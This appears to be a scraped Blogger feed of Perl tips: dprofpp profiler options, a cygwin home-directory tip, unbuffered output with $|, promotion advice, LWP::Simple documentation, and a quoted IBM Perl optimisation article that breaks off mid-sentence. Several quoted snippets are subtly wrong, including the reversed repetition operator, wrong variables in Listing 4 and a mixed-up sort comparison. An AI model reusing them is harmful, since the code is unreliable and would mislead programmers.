class="programlisting">perl -d:DProf mycode.pl</pre> </blockquote> <a name="INDEX-3657"></a> Even though we've called it a profiler--since that's what it does--the mechanism <tt class="literal">DProf</tt> employs is the very same one we discussed earlier in this chapter. <tt class="literal">DProf</tt> is just a debugger that records the time Perl entered and left each subroutine. <p> <a name="INDEX-3658"></a> When your profiled script terminates, <tt class="literal">DProf</tt> will dump the timing information to a file called <em class="emphasis">tmon.out</em>. The <em class="emphasis">dprofpp</em> program that came with Perl knows how to analyze <em class="emphasis">tmon.out</em> and produce a report. You may also use <em class="emphasis">dprofpp</em> as a frontend for the whole process with the <span class="option">-p</span> switch (see described later).</p> <p>Given this program: </p><blockquote> <pre class="programlisting">outer();<br /><br />sub outer {<br /> for (my $i=0; $i < 100; $i++) { inner() }<br />}<br /><br />sub inner {<br /> my $total = 0;<br /> for (my $i=0; $i < 1000; $i++) { $total += $i }<br />}<br /><br />inner();</pre> </blockquote> the output of <em class="emphasis">dprofpp</em> is: <blockquote> <pre class="programlisting">Total Elapsed Time = 0.537654 Seconds<br /> User+System Time = 0.317552 Seconds<br />Exclusive Times<br />%Time ExclSec CumulS #Calls sec/call Csec/c Name<br />85.0 0.270 0.269 101 0.0027 0.0027 main::inner<br />2.83 0.009 0.279 1 0.0094 0.2788 main::outer</pre> </blockquote> Note that the percentage numbers don't add up to 100. In fact, in this case, they're pretty far off, which should tip you off that you need to run the program longer. As a general rule, the more profiling data you can collect, the better your statistical sample. If we increase the outer loop to run 1000 times instead of 100 times, we'll get more accurate results: <blockquote> <pre class="programlisting">Total Elapsed Time = 2.875946 Seconds<br /> User+System Time = 2.855946 Seconds<br />Exclusive Times<br />%Time ExclSec CumulS #Calls sec/call Csec/c Name<br />99.3 2.838 2.834 1001 0.0028 0.0028 main::inner<br />0.14 0.004 2.828 1 0.0040 2.8280 main::outer</pre> </blockquote> The first line reports how long the program took to run, from start to finish. The second line displays the total of two different numbers: the time spent executing your code ("user") and the time spent in the operating system executing system calls made by your code ("system"). (We'll have to forgive a bit of false precision in these numbers--the computer's clock almost certainly does not tick every millionth of a second. It might tick every hundredth of a second if you're lucky.) <p>The "user+system" times can be changed with command-line options to <em class="emphasis">dprofpp</em>. <span class="option">-r</span> displays elapsed time, <span class="option">-s</span> displays system time only, and <span class="option">-u</span> displays user time only.</p> <p>The rest of the report is a breakdown of the time spent in each subroutine. The "Exclusive Times" line indicates that when subroutine <tt class="literal">outer</tt> called subroutine <tt class="literal">inner</tt>, the time spent in <tt class="literal">inner</tt> didn't count towards <tt class="literal">outer</tt>'s time. To change this, causing <tt class="literal">inner</tt>'s time to be counted towards <tt class="literal">outer</tt>'s, give the <span class="option">-I</span> option to <em class="emphasis">dprofpp</em>.</p> <p>For each subroutine, the following is reported: <tt class="literal">%Time</tt>, the percentage of time spent in this subroutine call; <tt class="literal">ExclSec</tt>, the time in seconds spent in this subroutine not including those subroutines called from it; <tt class="literal">CumulS</tt>, the time in seconds spent in this subroutine and those called from it; <tt class="literal">#Calls</tt>, the number of calls to the subroutine; <tt class="literal">sec/call</tt>, the average time in seconds of each call to the subroutine not including those called from it; <tt class="literal">Csec/c</tt>, the average time in seconds of each call to the subroutine and those called from it.</p> <p>Of those, the most useful figure is <tt class="literal">%Time</tt>, which will tell you where your time goes. In our case, the <tt class="literal">inner</tt> subroutine takes the most time, so we should try to optimize that subroutine, or find an algorithm that will call it less. <tt class="literal">:-)</tt> </p> <p>Options to <em class="emphasis">dprofpp</em> provide access to other information or vary the way the times are calculated. You can also make <em class="emphasis">dprofpp</em> run the script for you in the first place, so you don't have to remember the <span class="option">-d:DProf</span> switch:</p> <dl><dt> <b><span class="option">-p</span> <em class="replaceable">SCRIPT</em></b> </dt><dd> <p>Tells <em class="emphasis">dprofpp</em> that it should profile the given <em class="replaceable">SCRIPT</em> and then interpret its profile data. See also <span class="option">-Q</span>.</p> </dd><dt> <b><span class="option">-Q</span></b> </dt><dd> <p>Used with <span class="option">-p</span> to tell <em class="emphasis">dprofpp</em> to quit after profiling the script, without interpreting the data.</p> </dd><dt> <b><span class="option">-a</span></b> </dt><dd> <p>Sort output alphabetically by subroutine name rather than by decreasing percentage of time.</p> </dd><dt> <b><span class="option">-R</span></b> </dt><dd> <p>Count anonymous subroutines defined in the same package separately. The default behavior is to count all anonymous subroutines as one, named <tt class="literal">main::__ANON__</tt>.</p> </dd><dt> <b><span class="option">-I</span></b> </dt><dd> <p>Display all subroutine times inclusive of child subroutine times.</p> </dd><dt> <b><span class="option">-l</span></b> </dt><dd> <p>Sort by number of calls to the subroutines. This may help identify candidates for inlining.</p> </dd><dt> <b><span class="option">-O</span> <em class="replaceable">COUNT</em></b> </dt><dd> <p>Show only the top <em class="replaceable">COUNT</em> subroutines. The default is 15.</p> </dd><dt> <b><span class="option">-q</span></b> </dt><dd> <p>Do not display column headers.</p> </dd><dt> <b><span class="option">-T</span></b> </dt><dd> <p>Display the subroutine call tree to standard output. Subroutine statistics are not displayed.</p> </dd><dt> <b><span class="option">-t</span></b> </dt><dd> <p>Display the subroutine call tree to standard output. Subroutine statistics are not displayed. A function called multiple (consecutive) times at the same calling level is displayed once, with a repeat count.</p> </dd><dt> <b><span class="option">-S</span></b> </dt><dd> <p>Produce output structured by the way your subroutines call one another: </p><blockquote> <pre class="programlisting">main::inner x 1 0.008s<br />main::outer x 1 0.467s = (0.000 + 0.468)s<br /> main::inner x 100 0.468s</pre> </blockquote> Read this as follows: the top level of your program called <tt class="literal">inner</tt> once, and it ran for 0.008s elapsed time, and the top level called <tt class="literal">outer</tt> once and it ran for 0.467s inclusively (0s in <tt class="literal">outer</tt> itself, 0.468s in the subroutines called from <tt class="literal">outer</tt>) calling <tt class="literal">inner</tt> 100 times (which ran for 0.468s). Whew, got that? <p>Branches at the same level (for example, <tt class="literal">inner</tt> called once and <tt class="literal">outer</tt> called once) are sorted by inclusive time.</p> </dd><dt> <b><span class="option">-U</span></b> </dt><dd> <p>Do not sort. Display in the order found in the raw profile.</p> </dd><dt> <b><span class="option">-v</span></b> </dt><dd> <p>Sort by average time spent in subroutines during each call. This may help identify candidates for hand optimization by inlining subroutine bodies.</p> </dd><dt> <b><span class="option">-g</span> <em class="replaceable">subroutine</em></b> </dt><dd> <p>Ignore subroutines except <em class="replaceable">subroutine</em> and whatever is called from it.</p> </dd></dl> <p> <a name="INDEX-"></a> Other options are described in <em class="emphasis">dprofpp</em>(1), its standard manpage.</p> <p> <a name="INDEX-3659"></a><a name="INDEX-3660"></a><tt class="literal">DProf</tt> is not your only choice for profiler. CPAN also holds <tt class="literal">Devel::SmallProf</tt>, which reports the time spent in each line of your program. That can help you figure out if you're using some particular Perl construct that is being surprisingly expensive. Most of the built-in functions are pretty efficient, but it's easy to accidentally write a regular expression whose overhead increases exponentially with the size of the input. See also the section <a href="http://docstore.mik.ua/orelly/perl/prog3/ch24_02.htm#ch24-sect-eff">Section 20.2, "Efficiency"</a> in <a href="http://docstore.mik.ua/orelly/perl/prog3/ch24_01.htm">Chapter 24, "Common Practices"</a>, for other helpful hints.</p>Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-34767665.post-6494687308115587062009-09-03T16:10:00.001-07:002009-09-03T16:11:38.012-07:00cygwin change default home directoryJust edit /etc/passwd file with your user id line to change your home directory when you start the console in cygwin.Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-34767665.post-8289478664572972292009-08-27T15:50:00.002-07:002009-08-27T15:53:23.632-07:00Perl display the progress indicatorIn most cases in perl progress indicator, most people uses print statement without carry over or '\n' to show where you are. The problem with this s that unless that buffer is set to unbuffer, it will waitin until carry over before it is displayed on the terminal. So, unless it's done, you are not going to see the progress...<br /><br />Simple solution to this is to set unbuffer as setting $| to 1. All done, simple.<br />$| = 1;<br /><br />Now it will display as it progresses.Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-34767665.post-79071898461726446962009-06-23T10:16:00.001-07:002009-06-23T10:17:29.645-07:00Want to get promoted? Read this.Great tips on <span style="font-size:85%;"><a href="http://www.lifehack.org/articles/management/how-to-get-promoted.html" rel="bookmark" title="Permanent Link: How to Get Promoted">How to Get Promoted</a></span> from lifehack.org. Quote:<br /><p><strong>1. Do your job well.</strong> I know that this is stating the obvious but it is the starting point. For promotion it is a necessary but not a sufficient requirement that you perform your current duties diligently. Many people think that this is all they need to do and that the rewards, recognition and promotion will follow. Corporate life is not ‘fair’ in this sense. Many people do great work and are passed over. You need to excel in your current role and do much more to climb the ladder.</p> <p><strong>2. Get noticed.</strong> One of the best ways to be promoted is if a senior manager in another department wants you. But this can only happen if they are aware of you. So you have to find ways to get in front of other people, particularly senior people, in a way that displays your good qualities and makes you memorable.</p> <p><strong>3. Volunteer.</strong> If someone is needed to present a proposal on behalf of your department, volunteer. If members are needed for a cross-departmental task force, volunteer. If the social committee want someone to help organize the staff barbecue, volunteer. Take on additional responsibilities both inside and outside your department. This shows that you are willing to get involved and it gets you noticed.</p> <p><strong>4. Discuss your ambitions with your manager.</strong> Make sure that your boss and your boss’s boss know that you are keen to be promoted. You can do this in a quiet professional way. Do not threaten or demand. Have a discussion where you ask the question, ‘What do I have to do to get promoted?’ Develop a plan. Senior managers understand ambition and there is nothing wrong with being ambitious so make sure that they understand your goals.</p> <p><strong>5. Work well with people. </strong> Many people who are technically proficient and excellent at task management do not get promoted because they lack people skills. Be aware of how you are perceived. Ask for feedback. It is not a question of popularity; it is more about communication, trust and dependability. Try not to make enemies. Find ways to work effectively with other people and you are more likely to be seen as ‘management material’.</p> <p><strong>6. Contribute ideas.</strong> Make positive, constructive suggestions for how things could be done better. Most managers (though not all) welcome this and it will signal that you are someone who can think about bigger issues. It shows that you welcome rather than fear change.</p> <p><strong>7. If you cannot move up, move across.</strong> Look for ways to broaden your experience. It you cannot move up in your area then consider moving across into a different area of the business at the same level so that you can learn new skills and make new contacts.</p> <p><strong>8. Have a plan.</strong> Set yourself goals for advancement and measure progress against them. If you need to acquire certain skills or experiences then plan to do so. If you are turned down for promotion, ask why. If you cannot meet your plan in your current organization or if you can make no more progress or if you no longer enjoy the work then look elsewhere. There are plenty of opportunities for ambitious people who work hard and are keen to learn.</p>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-34767665.post-70917518287612111012009-05-27T15:01:00.001-07:002009-05-27T15:02:46.461-07:00How to download a file from the Web using PerlSimple enough, use <a href="http://perl.active-venture.com/lib/LWP/Simple.html">LWP</a>! <table border="0" cellspacing="0" width="758"><tbody><tr> <td colspan="2" width="754"> <p align="right"> <a href="http://perl.active-venture.com/"><u>Back to Index</u></a></p> </td> </tr> <tr> <td valign="top" width="637"> <h1><a href="http://perl.active-venture.com/lib/LWP/Simple.html#top" name="NAME">NAME</a></h1> <p>get, head, getprint, getstore, mirror - Procedural LWP interface</p> <h1><a href="http://perl.active-venture.com/lib/LWP/Simple.html#top" name="SYNOPSIS">SYNOPSIS</a></h1> <p> <table bgcolor="#000000" border="0" cellpadding="1" cellspacing="0" width="100%"> <tbody> <tr> <td align="middle"> <table bgcolor="#e8e8e8" border="0" cellpadding="4" cellspacing="0" width="100%"> <tbody> <tr> <td> <pre> perl -MLWP::Simple -e 'getprint "http://www.sn.no"'<br /><br />use LWP::Simple;<br />$content = get("http://www.sn.no/")<br />if (mirror("http://www.sn.no/", "foo") == RC_NOT_MODIFIED) {<br /> ...<br />}<br /><br />if (is_success(getprint("http://www.sn.no/"))) {<br /> ...<br />} </pre> </td> </tr> </tbody> </table> </td> </tr> </tbody> </table> </p><h1><a href="http://perl.active-venture.com/lib/LWP/Simple.html#top" name="DESCRIPTION">DESCRIPTION</a></h1> <p>This interface is intended for those who want a simplified view of the libwww-perl library. It should also be suitable for one-liners. If you need more control or access to the header fields in the requests sent and responses received you should use the full object oriented interface provided by the <code>LWP::UserAgent</code> module.</p> <p>The following functions are provided (and exported) by this module:</p> <dl><dt><a name="get($url)">get($url)</a> </dt><dd> <p>The get() function will fetch the document identified by the given URL and return it. It returns <code>undef</code> if it fails. The $url argument can be either a simple string or a reference to a URI object.</p> <p>You will not be able to examine the response code or response headers (like 'Content-Type') when you are accessing the web using this function. If you need that information you should use the full OO interface (see <a href="http://perl.active-venture.com/lib/lib/LWP/UserAgent.html">LWP::UserAgent</a>).</p> </dd><dt><a name="head($url)">head($url)</a> </dt><dd> <p>Get document headers. Returns the following 5 values if successful: ($content_type, $document_length, $modified_time, $expires, $server)</p> <p>Returns an empty list if it fails. In scalar context returns TRUE if successful.</p> </dd><dt><a name="getprint($url)">getprint($url)</a> </dt><dd>Get and print a document identified by a URL. The document is printed to STDOUT as data is received from the network. If the request fails, then the status code and message are printed on STDERR. The return value is the HTTP response code. </dd><dt><a name="getstore($url,-$file)">getstore($url, $file)</a> </dt><dd>Gets a document identified by a URL and stores it in the file. The return value is the HTTP response code. </dd><dt><a name="mirror($url,-$file)">mirror($url, $file)</a> </dt><dd>Get and store a document identified by a URL, using <i>If-modified-since</i>, and checking the <i>Content-Length</i>. Returns the HTTP response code.</dd></dl> <p>This module also exports the HTTP::Status constants and procedures. These can be used when you check the response code from getprint(), getstore() and mirror(). The constants are:</p> <p> <table bgcolor="#000000" border="0" cellpadding="1" cellspacing="0" width="100%"> <tbody> <tr> <td align="middle"> <table bgcolor="#e8e8e8" border="0" cellpadding="4" cellspacing="0" width="100%"> <tbody> <tr> <td> <pre> RC_CONTINUE<br /> RC_SWITCHING_PROTOCOLS<br /> RC_OK<br /> RC_CREATED<br /> RC_ACCEPTED<br /> RC_NON_AUTHORITATIVE_INFORMATION<br /> RC_NO_CONTENT<br /> RC_RESET_CONTENT<br /> RC_PARTIAL_CONTENT<br /> RC_MULTIPLE_CHOICES<br /> RC_MOVED_PERMANENTLY<br /> RC_MOVED_TEMPORARILY<br /> RC_SEE_OTHER<br /> RC_NOT_MODIFIED<br /> RC_USE_PROXY<br /> RC_BAD_REQUEST<br /> RC_UNAUTHORIZED<br /> RC_PAYMENT_REQUIRED<br /> RC_FORBIDDEN<br /> RC_NOT_FOUND<br /> RC_METHOD_NOT_ALLOWED<br /> RC_NOT_ACCEPTABLE<br /> RC_PROXY_AUTHENTICATION_REQUIRED<br /> RC_REQUEST_TIMEOUT<br /> RC_CONFLICT<br /> RC_GONE<br /> RC_LENGTH_REQUIRED<br /> RC_PRECONDITION_FAILED<br /> RC_REQUEST_ENTITY_TOO_LARGE<br /> RC_REQUEST_URI_TOO_LARGE<br /> RC_UNSUPPORTED_MEDIA_TYPE<br /> RC_INTERNAL_SERVER_ERROR<br /> RC_NOT_IMPLEMENTED<br /> RC_BAD_GATEWAY<br /> RC_SERVICE_UNAVAILABLE<br /> RC_GATEWAY_TIMEOUT<br /> RC_HTTP_VERSION_NOT_SUPPORTED </pre> </td> </tr> </tbody> </table> </td> </tr> </tbody> </table> </p><p>The HTTP::Status classification functions are:</p> <dl><dt><a name="is_success($rc)">is_success($rc)</a> </dt><dd>True if response code indicated a successful request. </dd><dt><a name="is_error($rc)">is_error($rc)</a> </dt><dd>True if response code indicated that an error occured.</dd></dl> <p>The module will also export the LWP::UserAgent object as <code>$ua</code> if you ask for it explicitly.</p> <p>The user agent created by this module will identify itself as "LWP::Simple/#.##" (where "#.##" is the libwww-perl version number) and will initialize its proxy defaults from the environment (by calling $ua->env_proxy).</p></td></tr></tbody></table>Unknownnoreply@blogger.com17tag:blogger.com,1999:blog-34767665.post-80251014401536262532009-05-20T23:18:00.003-07:002009-05-20T23:23:49.571-07:00How to optimize your perl code!Great resource on how to <a href="http://www.ibm.com/developerworks/library/l-optperl.html">Optimize Perl</a>. This helped me speed up my 3 hour long script to be able to run under 10min!!!<br /><br />Quote below:<br /><p><a name="N10047"><span class="atitle">Sloppy programming, sloppy performance</span></a></p> <p>I'll be honest: I love Perl and I use it everywhere. I've written Web sites, administration scripts, and games using Perl. I frequently save time by getting Perl to do and check things automatically for me, everything from my lottery numbers to the stock markets, and I even use it to automatically file my e-mail. Because Perl makes it so easy to do all of these things, there's a tendency to forget about optimization. In many cases this isn't the end of the world. So what if it takes an extra few milliseconds to look up your stock reports or parse those log files?</p> <p>However, those same lazy habits that cost milliseconds in a small application are multiplied when dealing with larger scale development projects. It's the one area where the Perl mantra of TMTOWTDI (There's More Than One Way To Do It) starts to look like a bad plan. If you need speed, there may be only one or two ways to achieve the fastest results, whereas there are many slower alternatives. Ultimately, sloppy programming -- even if you achieve the desired result -- is going to result in sloppy performance. So, in this article I'm going to look at some of the key techniques you can use to squeeze those extra cycles out of your Perl application.</p> <div class="ibm-alternate-rule"><hr /></div><p class="ibm-ind-link ibm-back-to-top"><a href="http://www.ibm.com/developerworks/library/l-optperl.html#ibm-pcon" class="ibm-anchor-up-link">Back to top</a></p><p><a name="N10054"><span class="atitle">Approaching optimization</span></a></p> <p>First of all, it's worth remembering that Perl is a compiled language. The source code you write is compiled on the fly into the bytecode that is executed. The bytecode is itself based on a range of instructions, all of which are written in a highly optimized form of C. However, even within these instructions, some operations that can achieve similar results are more highly optimized than others. Overall, this means that it's the combination of the logic sequence you use and the bytecode that is generated from this that ultimately affects performance. The differences between certain similar operations can be drastic. Consider the code in Listings 1 and 2. Both create a concatenated string, one through ordinary concatenation and the other through generating an array and concatenating it with <code>join</code>.</p> <br /><a name="N10066"><b>Listing 1. Concatenating a string, version 1</b></a><br /><table border="0" cellpadding="0" cellspacing="0" width="50%"><tbody><tr><td class="code-outline"><pre class="displaycode">my $string = 'abcdefghijklmnopqrstuvwxyz';<br />my $concat = '';<br /><br />foreach my $count (1..999999)<br />{<br /> $concat .= $string;<br />}<br /></pre></td></tr></tbody></table><br /><br /><br /><br /><a name="N10075"><b>Listing 2. Concatenating a string, version 2</b></a><br /><table border="0" cellpadding="0" cellspacing="0" width="50%"><tbody><tr><td class="code-outline"><pre class="displaycode">my $string = 'abcdefghijklmnopqrstuvwxyz';<br />my @concat;<br /><br />foreach my $count (1..999999)<br />{<br /> push @concat,$string;<br />}<br />my $concat = join('',@concat);<br /></pre></td></tr></tbody></table><br /> <p>Running Listing 1, I get a time of 1.765 seconds, whereas Listing 2 requires 5.244 seconds. Both generate a string, so what's taking up the time? Conventional wisdom (including that of the Perl team) would say that concatenating a string is a time-expensive process, because we have to extend the memory allocation for the variable and then copy the string and its addition into the new variable. Conversely, adding a string to an array should be relatively easy. We also have the added problem of duplicating the string concatenation using <code>join()</code>, which adds an extra second.</p> <p>The problem, in this instance, is that <code>push()</code>-ing strings onto an array is time-intensive; first of all, we have a function call (which means pushing items onto a stack, and then taking them off), and we also have the additional array management overhead. In contrast, concatenating a string is pretty much just a case of running a single opcode to append a string variable to an existing string variable. Even if we set the array size to alleviate the overhead (using <code>$#concat = 999999</code>), we still only save another second.</p> <p>The above is an extreme example, and there are times when using an array will be much quicker than using strings; a good example here is if you need to reuse a particular sequence but with an alternate order or different interstitial character. Arrays are also useful, of course, if you want to rearrange or reorder the contents. By the way, in this example, an even quicker way of producing a string that repeats the alphabet 999,999 times would be to use:</p> <p> <code> $concat = 999999 x 'abcdefghijklmnopqrstuvwxyz'; </code> </p> <p>Individually, many of the techniques covered here won't make a huge difference, but combined in one application, you could shave a few hundred milliseconds, or even seconds, off of your Perl applications.</p> <div class="ibm-alternate-rule"><hr /></div><p class="ibm-ind-link ibm-back-to-top"><a href="http://www.ibm.com/developerworks/library/l-optperl.html#ibm-pcon" class="ibm-anchor-up-link">Back to top</a></p><p><a name="N1009B"><span class="atitle">Use references</span></a></p> <p>If you work with large arrays or hashes and use them as arguments to functions, use a reference instead of the variable directly. By using a reference, you tell the function to point to the information. Without a reference, you copy the entire array or hash onto the function call stack, and then copy it again in the function. References also save memory (which reduces footprint and management overheads) and simplify your programming.</p> <div class="ibm-alternate-rule"><hr /></div><p class="ibm-ind-link ibm-back-to-top"><a href="http://www.ibm.com/developerworks/library/l-optperl.html#ibm-pcon" class="ibm-anchor-up-link">Back to top</a></p><p><a name="N100A5"><span class="atitle">String handling</span></a></p> <p>If you are using static strings in your application a lot -- for example, in a Web application -- remember to use single quotes rather than doubles. Double quotes force Perl to look for a potential interpolation of information, which adds to the overhead of printing out the string:</p> <p> <code> print 'A string','another string',"\n"; </code> </p> <p>I've also used commas to separate arguments rather than using a period to concatenate the string first. This simplifies the process; <code>print</code> simply sends each argument to the output file. Concatenation would concatenate the string and print it as one argument. </p> <div class="ibm-alternate-rule"><hr /></div><p class="ibm-ind-link ibm-back-to-top"><a href="http://www.ibm.com/developerworks/library/l-optperl.html#ibm-pcon" class="ibm-anchor-up-link">Back to top</a></p><p><a name="N100BD"><span class="atitle">Loops</span></a></p> <p>As you've already seen, function calls with arguments are expensive, because for the function call to work, Perl has to put the arguments onto the call stack, call the function, and then receive the responses back through the stack again. All of this requires overhead and processing that we could probably do without. For this reason, excessive function calls in a loop are generally a bad idea. Again, it comes down to a comparison of numbers. Looping through 1,000 items and passing information to a function will trigger the function call 1,000 times. To get around this, I just switch the sequence around. Instead of using the format in Listing 3, I use the approach in Listing 4.</p> <br /><a name="N100CB"><b>Listing 3. Loop calling functions</b></a><br /><table border="0" cellpadding="0" cellspacing="0" width="50%"><tbody><tr><td class="code-outline"><pre class="displaycode">foreach my $item (keys %{$values})<br />{<br /> $values->{$item}->{result} = calculate($values->{$item});<br />}<br /><br />sub calculate<br />{<br /> my ($item) = @_;<br /> return ($item->{adda}+$item->{addb});<br />}</pre></td></tr></tbody></table><br /><br /><br /><br /><a name="N100DA"><b>Listing 4. Function using loops</b></a><br /><table border="0" cellpadding="0" cellspacing="0" width="50%"><tbody><tr><td class="code-outline"><pre class="displaycode">calculate_list($values);<br /><br />sub calculate_list<br />{<br /> my ($list) = @_;<br /> foreach my $item (keys %{$values})<br /> {<br /> $values->{$item}->{result} = ($item->{adda}+$item->{addb});<br /> }<br />}</pre></td></tr></tbody></table><br /> <p>Better still, in a simple calculation like this one or for any straightforward loop work, use <code>map</code>:</p> <p> <code> map { $values->{$_}->{result} = $values->{$_}->{adda}+$values->{$_}->{addb} } keys %{$values}; </code> </p> <p>Remember also that each iteration through the loop wastes time, so rather than working through the same loop a number of times, try to perform all the actions in one pass through the loop.</p> <div class="ibm-alternate-rule"><hr /></div><p class="ibm-ind-link ibm-back-to-top"><a href="http://www.ibm.com/developerworks/library/l-optperl.html#ibm-pcon" class="ibm-anchor-up-link">Back to top</a></p><p><a name="N100F2"><span class="atitle">Sorts</span></a></p> <p>Another common operation related to loops is sorting information, particularly keys in a hash. It's tempting in this instance to embed some processing of list elements into the sort operation, such as the one shown here in Listing 5.</p> <br /><a name="N10100"><b>Listing 5. Bad sorting</b></a><br /><table border="0" cellpadding="0" cellspacing="0" width="50%"><tbody><tr><td class="code-outline"><pre class="displaycode">my @marksorted = sort {sprintf('%s%s%s',<br /> $marked_items->{$b}->{'upddate'},<br /> $marked_items->{$b}->{'updtime'},<br /> $marked_items->{$a}->{itemid}) <=><br /> sprintf('%s%s%s',<br /> $marked_items->{$a}->{'upddate'},<br /> $marked_items->{$a}->{'updtime'},<br /> $marked_items->{$a}->{itemid}) } keys %{$marked_items};<br /></pre></td></tr></tbody></table><br /> <p>This is a fairly typical sort of complex data, in this case ordering something by date, time, and ID number by concatenating the numbers into a single number that we can then sort numerically. The problem is that the sort works through the list of items and moves them up or down through the list based on the comparison operation. In effect, this is a type of loop, but unlike the loop examples we've already seen, a <code>sprintf</code> call has to be made for each comparison. That's at least twice for each iteration, and the exact number of iterations through the list will depend how ordered it was to begin with. For example, with a 10,000-item list you could expect to call <code>sprintf</code> over 240,000 times.</p> <p>The solution is to create a list that contains the sort information, and generate the sort field information just once. Taking the sample in Listing 5 as a guide, I'd rewrite that fragment into something like the code in Listing 6.</p> <br /><a name="N10119"><b>Listing 6. Better sorting</b></a><br /><table border="0" cellpadding="0" cellspacing="0" width="50%"><tbody><tr><td class="code-outline"><pre class="displaycode">map { $marked_items->{$_}->{sort} = sprintf('%s%s%s',<br /> $marked_items->{$_}->{'upddate'},<br /> $marked_items->{$_}->{'updtime'},<br /> $marked_items->{$_}->{itemid}) } keys %{$marked_items};<br />my @marksorted = sort { $marked_items->{$b}->{sort} <=><br /> $marked_items->{$a}->{sort} } keys %{$marked_items};<br /></pre></td></tr></tbody></table><br /> <p>Instead of calling <code>sprintf</code> all those times, we call it just once for each item in the hash in order to generate a sort field in the hash, and then use that sort field directly during the sort. The sorting process only has to access the sort field's value. You have cut down the calls on that 10,000-item hash from 240,000 to just 10,000. It depends on what you are doing in that sort section originally, but it's possible to save as much as half the time it would take using the method shown in Listing 6.</p> <p>If you produce these hashes through results from a database query -- through MySQL or similar -- using sorting within the query and then recording the order as you build the hash, you won't need to iterate over the information again.</p> <div class="ibm-alternate-rule"><hr /></div><p class="ibm-ind-link ibm-back-to-top"><a href="http://www.ibm.com/developerworks/library/l-optperl.html#ibm-pcon" class="ibm-anchor-up-link">Back to top</a></p><p><a name="N1012A"><span class="atitle">Using short circuit logic</span></a></p> <p>Related to the sort operation is how to work through a list of alternative values. Using many <code>if</code> statements can be incredibly time consuming. For example, look at the code in Listing 7.</p> <br /><a name="N1013C"><b>Listing 7. Making a choice</b></a><br /><table border="0" cellpadding="0" cellspacing="0" width="50%"><tbody><tr><td class="code-outline"><pre class="displaycode">if ($userchoice > 0)<br />{<br /> $realchoice = $userchoice;<br />}<br />elsif ($systemchoice > 0)<br />{<br /> $realchoice = $systemchoice;<br />}<br />else<br />{<br /> $realchoice = $defaultchoice;<br />}</pre></td></tr></tbody></table><br /> <p>Aside from the waste of space in terms of sheer content, there are a couple of problems with this structure. From a programming perspective, it has the issue that it never checks if any of the variables have a valid value, a fact that would be highlighted if warnings were switched on. Second, it has to check each option until it gets to the one it wants, which is wasteful, as comparison operations (particularly on strings) are time consuming. Both problems can be solved by using short circuit logic.</p> <p>If you use the logical <code>||</code> operator, Perl will use the first true value it comes across, in order, from left to right. The moment it finds a valid value, it doesn't bother processing any of the other values. In addition, because Perl is looking for a true value, it also ignores undefined values without complaining about them. So we can rewrite the above into a single line:</p> <p> <code> $realchoice = $userchoice || $systemchoice || $defaultchoice; </code> </p> <p>If <code>$userchoice</code> is a true value, Perl doesn't even look at the other variables. If <code>$userchoice</code> is false (see Table 1), then Perl checks the value of <code>$systemchoice</code> and so on until it gets to the last value, which is always used, whether it's true or not.</p> <p><a name="table1"><span class="smalltitle">Table 1. $userchoice values</span></a></p> <p> </p><table border="1" cellpadding="3" cellspacing="1" width="60%"><tbody><tr valign="top"><td> <b>Value</b> </td><td> <b>Logical value</b> </td></tr><tr valign="top"><td>Negative number</td><td>True</td></tr><tr valign="top"><td>Zero</td><td>False</td></tr><tr valign="top"><td>Positive number</td><td>True</td></tr><tr valign="top"><td>Empty string</td><td>False</td></tr><tr valign="top"><td>Non-empty string</td><td>True</td></tr><tr valign="top"><td>Undefined value</td><td>False</td></tr><tr valign="top"><td>Empty list (including hashes)</td><td>False</td></tr><tr valign="top"><td>List with at least one element (including hashes)</td><td>True</td></tr></tbody></table> <div class="ibm-alternate-rule"><hr /></div><p class="ibm-ind-link ibm-back-to-top"><a href="http://www.ibm.com/developerworks/library/l-optperl.html#ibm-pcon" class="ibm-anchor-up-link">Back to top</a></p><p><a name="N101BB"><span class="atitle">Use AutoLoader</span></a></p> <p>One of the most expensive portions of the execution of a Perl script is the compilation of source code into the bytecode that is actually executed. On a small script with no external modules, the process takes milliseconds. But start to include a few of your own external modules and the time increases. The reason is that Perl does little more with a module than importing the text and running it through the same compilation stage. That can turn your 200 line script into a 10,000 or 20,000 line script very quickly. The result is that you increase the initial stages of the compilation process before the script even starts to do any work.</p> <p>During the normal execution of your script, it may be that you only use 10 percent, or even 5 percent, of all the functions defined in those modules. So why load them all when you start the script? The solution is to use AutoLoader, which acts a bit like a dynamic loader for Perl modules. This uses files generated by the AutoSplit system, which divides up a module into the individual functions. When you load the module through <code>use</code>, all you do is load the stub code for the module. It's only when you call a function contained within the module that the AutoLoader steps in and then loads and compiles the code only for that function. The result is that you convert that 20,000 line script with modules back into a 200-line script, speeding up the initial loading and compilation stages.</p> <p>I've saved as much as two seconds just by converting one of my applications to use the AutoLoader system in place of preloading. It's easy to use by just changing your modules from the format shown in Listing 8 to that shown in Listing 9, and then making sure to use <code>AutoSplit</code> to create the loading functions you need. Note that you don't need to use Exporter any more; AutoLoader handles the loading of individual functions automatically without you have to explicitly list them.</p> <br /><a name="N101D7"><b>Listing 8. A standard module</b></a><br /><table border="0" cellpadding="0" cellspacing="0" width="50%"><tbody><tr><td class="code-outline"><pre class="displaycode">package MyModule;<br /><br />use OtherModule;<br />require 'Exporter';<br />@EXPORT = qw/MySub/;<br /><br />sub MySub<br />{<br /> ...<br />}<br /><br />1;</pre></td></tr></tbody></table><br /><br /><br /><br /><a name="N101E6"><b>Listing 9. An autoloading module</b></a><br /><table border="0" cellpadding="0" cellspacing="0" width="50%"><tbody><tr><td class="code-outline"><pre class="displaycode">package MyModule;<br /><br />use OtherModule;<br />use AutoLoader 'AUTOLOAD';<br /><br />1;<br /><br />__END__<br /><br />sub MySub<br />{<br /> ...<br />}</pre></td></tr></tbody></table><br /> <p>The main difference here is that functions you want to autoload are no longer defined within the module's package space but in the data section at the end of the module (after the <code>__END__</code> token). AutoSplit will place any functions defined here into the special AutoLoader files. To split up the module, use the following command line:</p> <p> <code> perl -e 'use AutoSplit; autosplit($ARGV[0], $ARGV[1], 0, 1, 1)' MyModule.pm auto </code> </p> <div class="ibm-alternate-rule"><hr /></div><p class="ibm-ind-link ibm-back-to-top"><a href="http://www.ibm.com/developerworks/library/l-optperl.html#ibm-pcon" class="ibm-anchor-up-link">Back to top</a></p><p><a name="N101FB"><span class="atitle">Using bytecode and the compiler back ends</span></a></p> <p>There are three ways to use the compiler: bytecode production, full compilation, or simply as a debugging/optimizing tool. The first two 